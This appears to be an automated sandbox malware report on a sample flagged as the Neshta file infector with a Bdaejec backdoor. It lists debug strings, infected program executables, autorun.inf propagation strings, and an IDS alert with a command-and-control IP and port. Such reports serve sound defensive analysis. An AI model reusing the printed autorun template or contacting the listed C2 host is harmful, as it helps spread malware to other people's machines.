Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe.pdb source: Aut2exe.exe.7.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AdobeARMHelper.exe.7.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb source: OcPubMgr.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
Source:	Binary string: r.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: WINLOA~1.PDB source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\jp2launcher\obj\jp2launcher.pdb source: jp2launcher.exe.7.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.7.dr
Source:	Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\onenote.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: ONENOTE.EXE.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb source: aimgr.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdbOGP source: cookie_exporter.exe.0.dr
Source:	Binary string: AppVDllSurrogate32.pdb source: AppVDllSurrogate32.exe.7.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\delivery\x-none\ose.pdb source: OSE.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\selfcert.pdbT.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SELFCERT.EXE.7.dr
Source:	Binary string: MicrosoftEdgeComRegisterShellARM64_unsigned.pdbh source: MicrosoftEdgeComRegisterShellARM64.exe.7.dr
Source:	Binary string: MpCmdRun.pdbGCTL source: MpCmdRun.exe0.0.dr
Source:	Binary string: GoogleUpdateBroker_unsigned.pdb source: GoogleUpdateBroker.exe.7.dr
Source:	Binary string: AppVDllSurrogate64.pdbGCTL source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: AppVlp.pdb source: AppVLP.exe.7.dr
Source:	Binary string: @ntkrnlmp.pdb source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\setupexe\x-none\LicLua.pdb source: LICLUA.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\onenote.pdb source: ONENOTE.EXE.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb+ source: ai.exe.7.dr
Source:	Binary string: @winload_prod.pdbj source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
Source:	Binary string: AppVDllSurrogate32.pdbGCTL source: AppVDllSurrogate32.exe.7.dr
Source:	Binary string: MpCmdRun.pdb source: MpCmdRun.exe0.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdbr source: AdobeARMHelper.exe.7.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\. source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\jre-image\bin\javaws.pdb8 source: javaws.exe0.7.dr
Source:	Binary string: @winload_prod.pdb source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MpDlpCmd.pdbGCTL source: MpDlpCmd.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb source: WINWORD.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: WINWORD.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\iecontentservice.pdb source: IEContentService.exe.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb source: ai.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OcPubMgr.exe.7.dr
Source:	Binary string: lper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\setupexe\x-none\LicLua.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: LICLUA.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
Source:	Binary string: T.pdb source: SELFCERT.EXE.7.dr
Source:	Binary string: in32.pdb source: officeappguardwin32.exe.7.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdbOGP source: pwahelper.exe.7.dr, pwahelper.exe0.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\officeappguardwin32.pdbin32.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: officeappguardwin32.exe.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.7.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdb source: identity_helper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: MpDlpCmd.pdb source: MpDlpCmd.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\jre-image\bin\javaws.pdb source: javaws.exe0.7.dr
Source:	Binary string: AppVlp.pdbGCTL source: AppVLP.exe.7.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\.xs source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp

Spreading

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2836381813.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 6544, type: MEMORYSTR

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Source: #U65b0#U7248#U7f51#U5173Srv.exe	Binary or memory string: [autorun] action=Open icon=%%WinDir%%\system32\shell32.dll,4 shellexecute=.\%s shell\explore\command=.\%s USEAUTOPLAY=1 shell\Open\command=.\%s
Source: #U65b0#U7248#U7f51#U5173Srv.exe	Binary or memory string: autorun.inf
Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: autorun.inf
Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: [autorun]
Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: //--></SCRIPT>RmNautorun.infRECYCLER.exe[autorun]
Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: //--></SCRIPT>RmNautorun.infRECYCLER.exe[autorun]
Source: DesktopLayer.exe	Binary or memory string: [autorun] action=Open icon=%%WinDir%%\system32\shell32.dll,4 shellexecute=.\%s shell\explore\command=.\%s USEAUTOPLAY=1 shell\Open\command=.\%s
Source: DesktopLayer.exe	Binary or memory string: autorun.inf
Source: DesktopLayer.exe, 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: autorun.inf
Source: DesktopLayer.exe, 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: [autorun]
Source: DesktopLayer.exe, 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: //--></SCRIPT>RmNautorun.infRECYCLER.exe[autorun]
Source: DesktopLayer.exe, 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: //--></SCRIPT>RmNautorun.infRECYCLER.exe[autorun]

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_2_004011DF FindFirstFileA,FindClose,	1_2_004011DF
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_007829E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	2_2_007829E2
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004011DF FindFirstFileA,FindClose,	4_2_004011DF

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_00782B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

2_2_00782B8C

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process created: C:\Windows\svchost.com

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2838522 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup : 192.168.2.5:54167 -> 1.1.1.1:53

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 44.221.84.105:799

Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
